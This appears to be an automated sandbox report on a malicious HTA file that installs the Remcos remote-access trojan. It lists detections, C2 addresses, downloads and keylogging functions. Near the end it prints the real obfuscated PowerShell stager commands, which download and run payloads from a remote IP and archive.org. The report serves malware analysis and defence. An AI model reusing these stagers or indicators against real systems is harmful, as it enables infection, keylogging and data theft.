Windows Analysis Report
LJ1IZDkHyE.hta

AI detected suspicious sample

Source: Yara match	File source: 11.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.powershell.exe.66ba028.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.powershell.exe.66ba028.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.4500391672.0000000000DBB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.4501290149.00000000028DE000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.4499091602.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2263876284.0000000005F8B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2263876284.0000000006395000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 1672, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6020, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_004338C8 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,

11_2_004338C8

Source: powershell.exe, 00000009.00000002.2263876284.0000000005F8B000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_6e2816b5-4

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 11.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.powershell.exe.66ba028.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.powershell.exe.66ba028.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.4499091602.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2263876284.0000000005F8B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2263876284.0000000006395000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 1672, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6020, type: MEMORYSTR

Privilege Escalation

Contains functionality to bypass UAC (CMSTPLUA)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_00407538 _wcslen,CoGetObject,

11_2_00407538

Source: unknown

HTTPS traffic detected: 207.241.227.240:443 -> 192.168.2.5:49705 version: TLS 1.2

Source:	Binary string: TenantRestrictions\PayloaddConnRouteHelper.dllrfrvbpim.pdb source: powershell.exe, 00000003.00000002.2175384475.0000000007B40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: $]q8C:\Users\user\AppData\Local\Temp\rfrvbpim\rfrvbpim.pdb source: powershell.exe, 00000003.00000002.2169309335.000000000593F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Data.Linq.pdb source: powershell.exe, 00000009.00000002.2263876284.00000000060CF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2285326980.0000000008730000.00000004.08000000.00040000.00000000.sdmp

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0040928E __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,	11_2_0040928E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0041C322 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,	11_2_0041C322
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0040C388 FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,	11_2_0040C388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_004096A0 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,	11_2_004096A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00408847 __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,	11_2_00408847
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00407877 FindFirstFileW,FindNextFileW,	11_2_00407877
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0044E8F9 FindFirstFileExA,	11_2_0044E8F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0040BB6B FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	11_2_0040BB6B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00419B86 FindFirstFileW,FindNextFileW,FindNextFileW,	11_2_00419B86
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0040BD72 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,	11_2_0040BD72

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_00407CD2 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,

11_2_00407CD2

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\SysWOW64\wscript.exe	Child: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Child: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.5:49713 -> 45.134.140.70:50312
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.5:49715 -> 45.134.140.70:50312
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.5:49718 -> 45.134.140.70:50312
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.5:49720 -> 45.134.140.70:50312
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.5:49717 -> 45.134.140.70:50312
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.5:49711 -> 45.134.140.70:50312
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.5:49721 -> 45.134.140.70:50312
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.5:49722 -> 45.134.140.70:50312
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.5:49716 -> 45.134.140.70:50312
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.5:49719 -> 45.134.140.70:50312
Source: Network traffic	Suricata IDS: 2020423 - Severity 1 - ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 1 M1 : 104.168.32.148:80 -> 192.168.2.5:49708
Source: Network traffic	Suricata IDS: 2020425 - Severity 1 - ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 3 M1 : 104.168.32.148:80 -> 192.168.2.5:49708
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.5:49723 -> 45.134.140.70:50312

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: ramcxx.duckdns.org

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 45.134.140.70 ports 0,1,2,3,5,50312

Uses dynamic DNS services

Source: unknown

DNS query: name: ramcxx.duckdns.org

Source: global traffic

TCP traffic: 192.168.2.5:49711 -> 45.134.140.70:50312

Source: global traffic	HTTP traffic detected: GET /24/items/detah-note-v/DetahNoteV.txt HTTP/1.1Host: ia600100.us.archive.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /345/CHPPZA.txt HTTP/1.1Host: 104.168.32.148Connection: Keep-Alive

Source: Joe Sandbox View

IP Address: 207.241.227.240 207.241.227.240

Source: Joe Sandbox View	ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
Source: Joe Sandbox View	ASN Name: INETLTDTR INETLTDTR

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: global traffic

HTTP traffic detected: GET /345/nicemeetingsofpictureclearthingstobe.tIF HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 104.168.32.148Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.32.148

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 3_2_03747E00 URLDownloadToFileW,

3_2_03747E00

Source: global traffic	HTTP traffic detected: GET /24/items/detah-note-v/DetahNoteV.txt HTTP/1.1Host: ia600100.us.archive.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /345/nicemeetingsofpictureclearthingstobe.tIF HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 104.168.32.148Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /345/CHPPZA.txt HTTP/1.1Host: 104.168.32.148Connection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: ia600100.us.archive.org
Source: global traffic	DNS traffic detected: DNS query: ramcxx.duckdns.org

Source: powershell.exe, 00000009.00000002.2256807258.00000000051E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.168.32.148
Source: powershell.exe, 00000003.00000002.2177473162.0000000008B49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.32.148/
Source: powershell.exe, 00000009.00000002.2256807258.00000000051E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.168.32.148/345/CHPPZA.txt
Source: powershell.exe, 00000003.00000002.2169309335.000000000593F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.168.32.148/345/niceme
Source: powershell.exe, 00000003.00000002.2169309335.00000000055A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.168.32.148/345/nicemeetingsofpictureclearthingstobe.tIF
Source: powershell.exe, 00000003.00000002.2175493809.0000000007C21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.32.148/345/nicemeetingsofpictureclearthingstobe.tIFL
Source: powershell.exe, 00000003.00000002.2177473162.0000000008B0D000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2290069028.000000000318F000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2253530010.0000000000F47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: RegAsm.exe	String found in binary or memory: http://geoplugin.net/json.gp
Source: powershell.exe, 00000009.00000002.2263876284.0000000005F8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2263876284.0000000006395000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4499091602.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gp/C
Source: powershell.exe, 00000009.00000002.2256807258.000000000536C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ia600100.us.archive.org
Source: powershell.exe, 00000003.00000002.2171736688.00000000064BA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2263876284.0000000005F8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000009.00000002.2256807258.0000000005077000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000003.00000002.2169309335.00000000055A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000003.00000002.2169309335.0000000005451000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2292037286.0000000005155000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2256807258.0000000004F21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000003.00000002.2169309335.00000000055A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000009.00000002.2256807258.0000000005077000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000003.00000002.2177473162.0000000008B0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.
Source: powershell.exe, 00000003.00000002.2169309335.0000000005451000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2292037286.0000000005178000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2292037286.0000000005169000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2256807258.0000000004F21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000003.00000002.2169309335.00000000055A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: powershell.exe, 00000009.00000002.2263876284.0000000005F8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000009.00000002.2263876284.0000000005F8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000009.00000002.2263876284.0000000005F8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000009.00000002.2256807258.0000000005077000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000009.00000002.2256807258.00000000053AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000009.00000002.2256807258.0000000005321000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ia600100.us.archivL
Source: powershell.exe, 00000009.00000002.2256807258.0000000005321000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2256807258.0000000005077000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ia600100.us.archive.org
Source: powershell.exe, 00000009.00000002.2256807258.0000000005077000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt
Source: powershell.exe, 00000009.00000002.2256807258.0000000005077000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txtCNA;gYFbase64Content
Source: powershell.exe, 00000003.00000002.2177315396.0000000008A75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com64/WindowsPowerShell/v1.0/odules/UEV/icrosoft.Uev.Commands.dll
Source: powershell.exe, 00000003.00000002.2171736688.00000000064BA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2263876284.0000000005F8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705

Source: unknown

HTTPS traffic detected: 207.241.227.240:443 -> 192.168.2.5:49705 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to register a low level keyboard hook

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_0040A2F3 SetWindowsHookExA 0000000D,0040A2DF,00000000

11_2_0040A2F3

Installs a global keyboard hook

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Windows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_0040B749 OpenClipboard,GetClipboardData,CloseClipboard,

11_2_0040B749

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_004168FC OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

11_2_004168FC

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_0040B749 OpenClipboard,GetClipboardData,CloseClipboard,

11_2_0040B749

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_0040A41B GetForegroundWindow,GetWindowThreadProcessId,GetKeyboardLayout,GetKeyState,GetKeyboardState,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,

11_2_0040A41B

Source: Yara match	File source: 11.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.powershell.exe.66ba028.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.powershell.exe.66ba028.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.4499091602.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2263876284.0000000005F8B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2263876284.0000000006395000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 1672, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6020, type: MEMORYSTR

E-Banking Fraud

Contains functionalty to change the wallpaper

Source: Yara match	File source: 11.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.powershell.exe.66ba028.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.powershell.exe.66ba028.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.4500391672.0000000000DBB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.4501290149.00000000028DE000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.4499091602.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2263876284.0000000005F8B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2263876284.0000000006395000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 1672, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6020, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

Spam, unwanted Advertisements and Ransom Demands

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_0041CA73 SystemParametersInfoW,

11_2_0041CA73

System Summary

Detected Cobalt Strike Beacon

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe PoWerSHELl -Ex bYPass -nOp -w 1 -C DEVIcEcRedeNTIaldeplOymeNt.eXe ; IEX($(ieX('[SYstem.TEXt.eNcODiNG]'+[char]0X3a+[CHAR]58+'uTf8.GETSTRiNG([SySTEm.COnveRt]'+[cHAR]0X3A+[CHAR]58+'fRoMbasE64StrinG('+[ChAr]0X22+'JDBGICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJlckRFRmlOSXRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhzd0Isc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdkNBeW1xSFcsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0RyLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMUixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBncHlSc3VoKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAia28iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVzUGFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHpncmZ6QmtEbGllICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQwRjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNC4xNjguMzIuMTQ4LzM0NS9uaWNlbWVldGluZ3NvZnBpY3R1cmVjbGVhcnRoaW5nc3RvYmUudElGIiwiJGVudjpBUFBEQVRBXG5pY2VtZWV0aW5nc29mcGljdHVyZWNsZWFydGhpbmdzdG9iLlZicyIsMCwwKTtzdGFyVC1zTGVFcCgzKTtTVGFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcbmljZW1lZXRpbmdzb2ZwaWN0dXJlY2xlYXJ0aGluZ3N0b2IuVmJzIg=='+[CHAr]0x22+'))')))"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdnJysnWUZ1cmwgPSAnKydDJysnTkEnKydodHQnKydwcycrJzovJysnL2lhNjAwMTAwJysnLnVzLicrJ2FyY2hpdmUuJysnb3JnLzI0LycrJ2l0JysnZW1zLycrJ2RldGEnKydoLW4nKydvJysndGUtJysndi9EZXRhaE4nKydvdGVWJysnLicrJ3R4dENOQScrJztnWUZiYXNlJysnNjRDb250ZW50ICcrJz0gKE5lJysndycrJy1PYmonKydlYycrJ3QnKycgU3lzdCcrJ2VtLk4nKydldCcrJy5XZWJDbGllbicrJ3QpJysnLkRvd25sb2FkJysnU3RyaW5nKGdZRicrJ3VybCknKyc7ZycrJ1lGYmluYXInKyd5JysnQ29udGVudCA9ICcrJ1tTeXN0ZW0nKycuQ29uJysndmVydCcrJ106OkZyb21CYXNlNjRTJysndCcrJ3JpbmcnKycoZ1knKydGYicrJ2FzZScrJzY0Q29udCcrJ2UnKyduJysndCk7ZycrJ1lGYScrJ3MnKydzJysnZW1ibCcrJ3kgPSBbUmVmbCcrJ2VjJysndGknKydvbi5BJysnc3MnKydlbWJseScrJ10nKyc6OicrJ0xvYWQoZ1lGYmknKyduYXJ5JysnQ29uJysndGVudCcrJyk7Z1lGdHlwZSA9IGdZRmEnKydzc2VtJysnYmx5LkcnKydldFR5cGUnKycoQ05BUnVuUEUnKycuSCcrJ29tJysnZUNOJysnQSk7Z1lGJysnbWUnKyd0aCcrJ29kID0gZ1lGdCcrJ3lwZS5HZXRNZXRob2QoQ05BVicrJ0FJQ05BKTtnWUZtZXRob2QuSW52b2tlKGdZRicrJ251bGwsIFtvYmplYycrJ3RbJysnXV1AKENOQXR4dC4nKydBWlBQSEMvNTQnKyczLzg0MS4nKycyMy44NjEnKycuJysnNDAxLy86cHR0aENOQSAsIENOQWRlc2F0aXZhZG9DTkEgLCBDTkFkZXNhdGl2YScrJ2RvQ04nKydBICwnKycgQ04nKydBJysnZGVzYXRpdicrJ2EnKydkb0NOQSxDJysnTkFSZScrJ2dBc21DTkEnKycsQycrJ05BQ05BJysnKSknKS5yRVBsYUNFKCdDTkEnLFtzdHJJbmddW0NIYXJdMzkpLnJFUGxhQ0UoJ2dZRicsJyQnKSB8IC4gKCAkZU5WOkNPbXNwRWNbNCwyNiwyNV0tak9pTicnKQ==';$OW